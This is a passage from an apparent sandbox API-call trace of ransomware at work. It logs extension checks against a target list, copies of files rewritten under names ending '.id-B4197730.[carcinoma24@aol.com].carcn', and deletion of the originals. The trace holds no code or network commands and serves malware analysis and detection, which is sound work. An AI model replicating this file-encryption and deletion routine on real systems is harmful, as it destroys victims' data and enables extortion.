(lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.135] lstrlenW (lpString=".dbf") returned 4 [0161.135] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.135] lstrlenW (lpString=".1cd") returned 4 [0161.135] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0161.135] lstrlenW (lpString=".jpg") returned 4 [0161.135] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.135] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.135] lstrlenW (lpString="eula.rtf") returned 8 [0161.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.135] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=12687) returned 1 [0161.135] CloseHandle (hObject=0x2f8) returned 1 [0161.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0161.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.136] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.136] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.136] GetLastError () returned 0x0 [0161.136] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x318f, lpOverlapped=0x0) returned 1 [0161.211] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x3190, lpOverlapped=0x0) returned 1 [0161.213] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.213] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.213] SetEndOfFile (hFile=0x310) returned 1 [0161.213] CloseHandle (hObject=0x310) returned 1 [0161.214] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.214] SetEndOfFile (hFile=0x2f8) returned 1 [0161.214] CloseHandle (hObject=0x2f8) returned 1 [0161.214] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.215] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0161.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.215] lstrlenW (lpString=".doc") returned 4 [0161.215] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.215] lstrlenW (lpString=".docx") returned 5 [0161.215] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.215] lstrlenW (lpString=".pdf") returned 4 [0161.215] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.215] lstrlenW (lpString=".xls") returned 4 [0161.215] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.215] lstrlenW (lpString=".xlsx") returned 5 [0161.215] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.215] lstrlenW (lpString=".ppt") returned 4 [0161.215] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.215] lstrlenW (lpString=".zip") returned 4 [0161.215] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.215] lstrlenW (lpString=".rar") returned 4 [0161.215] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString=".bz2") returned 4 [0161.216] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString=".7z") returned 3 [0161.216] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.216] lstrlenW (lpString=".dbf") returned 4 [0161.216] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.216] lstrlenW (lpString=".1cd") returned 4 [0161.216] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.216] lstrlenW (lpString=".jpg") returned 4 [0161.216] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.216] lstrlenW (lpString=".doc") returned 4 [0161.216] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString=".docx") returned 5 [0161.216] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.216] lstrlenW (lpString=".pdf") returned 4 [0161.216] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString=".xls") returned 4 [0161.216] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.216] lstrlenW (lpString=".xlsx") returned 5 [0161.216] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.216] lstrlenW (lpString=".ppt") returned 4 [0161.216] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.216] lstrlenW (lpString=".zip") returned 4 [0161.216] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.216] lstrlenW (lpString=".rar") returned 4 [0161.217] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.217] lstrlenW (lpString=".bz2") returned 4 [0161.217] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.217] lstrlenW (lpString=".7z") returned 3 [0161.217] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.217] lstrlenW (lpString=".dbf") returned 4 [0161.217] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.217] lstrlenW (lpString=".1cd") returned 4 [0161.217] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0161.217] lstrlenW (lpString=".jpg") returned 4 [0161.217] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.217] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.217] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.218] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=65238) returned 1 [0161.218] CloseHandle (hObject=0x2f8) returned 1 [0161.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0161.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.218] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.218] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.218] GetLastError () returned 0x0 [0161.218] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xfed6, lpOverlapped=0x0) returned 1 [0161.366] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xfee0, lpOverlapped=0x0) returned 1 [0161.367] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.368] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.368] SetEndOfFile (hFile=0x310) returned 1 [0161.368] CloseHandle (hObject=0x310) returned 1 [0161.369] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.369] SetEndOfFile (hFile=0x2f8) returned 1 [0161.370] CloseHandle (hObject=0x2f8) returned 1 [0161.370] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.370] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0161.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.371] lstrlenW (lpString=".doc") returned 4 [0161.371] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString=".docx") returned 5 [0161.371] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.371] lstrlenW (lpString=".pdf") returned 4 [0161.371] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString=".xls") returned 4 [0161.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString=".xlsx") returned 5 [0161.371] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.371] lstrlenW (lpString=".ppt") returned 4 [0161.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.371] lstrlenW (lpString=".zip") returned 4 [0161.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.371] lstrlenW (lpString=".rar") returned 4 [0161.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString=".bz2") returned 4 [0161.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString=".7z") returned 3 [0161.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.371] lstrlenW (lpString=".dbf") returned 4 [0161.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.371] lstrlenW (lpString=".1cd") returned 4 [0161.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.372] lstrlenW (lpString=".jpg") returned 4 [0161.372] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.372] lstrlenW (lpString=".doc") returned 4 [0161.372] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString=".docx") returned 5 [0161.372] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.372] lstrlenW (lpString=".pdf") returned 4 [0161.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString=".xls") returned 4 [0161.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString=".xlsx") returned 5 [0161.372] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.372] lstrlenW (lpString=".ppt") returned 4 [0161.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.372] lstrlenW (lpString=".zip") returned 4 [0161.372] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.372] lstrlenW (lpString=".rar") returned 4 [0161.372] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString=".bz2") returned 4 [0161.372] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString=".7z") returned 3 [0161.372] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.372] lstrlenW (lpString=".dbf") returned 4 [0161.372] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.372] lstrlenW (lpString=".1cd") returned 4 [0161.372] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0161.373] lstrlenW (lpString=".jpg") returned 4 [0161.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.373] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.373] lstrlenW (lpString="eula.rtf") returned 8 [0161.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.373] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=4040) returned 1 [0161.373] CloseHandle (hObject=0x2f8) returned 1 [0161.373] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0161.373] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.373] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.373] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.374] GetLastError () returned 0x0 [0161.374] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xfc8, lpOverlapped=0x0) returned 1 [0161.405] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xfd0, lpOverlapped=0x0) returned 1 [0161.406] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.406] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.406] SetEndOfFile (hFile=0x310) returned 1 [0161.406] CloseHandle (hObject=0x310) returned 1 [0161.407] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.407] SetEndOfFile (hFile=0x2f8) returned 1 [0161.408] CloseHandle (hObject=0x2f8) returned 1 [0161.408] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.408] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0161.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.408] lstrlenW (lpString=".doc") returned 4 [0161.408] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.408] lstrlenW (lpString=".docx") returned 5 [0161.408] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.408] lstrlenW (lpString=".pdf") returned 4 [0161.408] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.408] lstrlenW (lpString=".xls") returned 4 [0161.408] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.408] lstrlenW (lpString=".xlsx") returned 5 [0161.408] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.408] lstrlenW (lpString=".ppt") returned 4 [0161.408] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString=".zip") returned 4 [0161.409] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.409] lstrlenW (lpString=".rar") returned 4 [0161.409] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString=".bz2") returned 4 [0161.409] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString=".7z") returned 3 [0161.409] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString=".dbf") returned 4 [0161.409] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString=".1cd") returned 4 [0161.409] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString=".jpg") returned 4 [0161.409] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString=".doc") returned 4 [0161.409] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString=".docx") returned 5 [0161.409] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.409] lstrlenW (lpString=".pdf") returned 4 [0161.409] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString=".xls") returned 4 [0161.409] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.409] lstrlenW (lpString=".xlsx") returned 5 [0161.409] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.409] lstrlenW (lpString=".ppt") returned 4 [0161.409] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.409] lstrlenW (lpString=".zip") returned 4 [0161.410] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.410] lstrlenW (lpString=".rar") returned 4 [0161.410] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.410] lstrlenW (lpString=".bz2") returned 4 [0161.410] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.410] lstrlenW (lpString=".7z") returned 3 [0161.410] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.410] lstrlenW (lpString=".dbf") returned 4 [0161.410] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.410] lstrlenW (lpString=".1cd") returned 4 [0161.410] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0161.410] lstrlenW (lpString=".jpg") returned 4 [0161.410] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.410] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.410] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.410] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.410] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=80738) returned 1 [0161.410] CloseHandle (hObject=0x2f8) returned 1 [0161.410] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0161.410] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.411] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.411] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.411] GetLastError () returned 0x0 [0161.411] ReadFile (in: 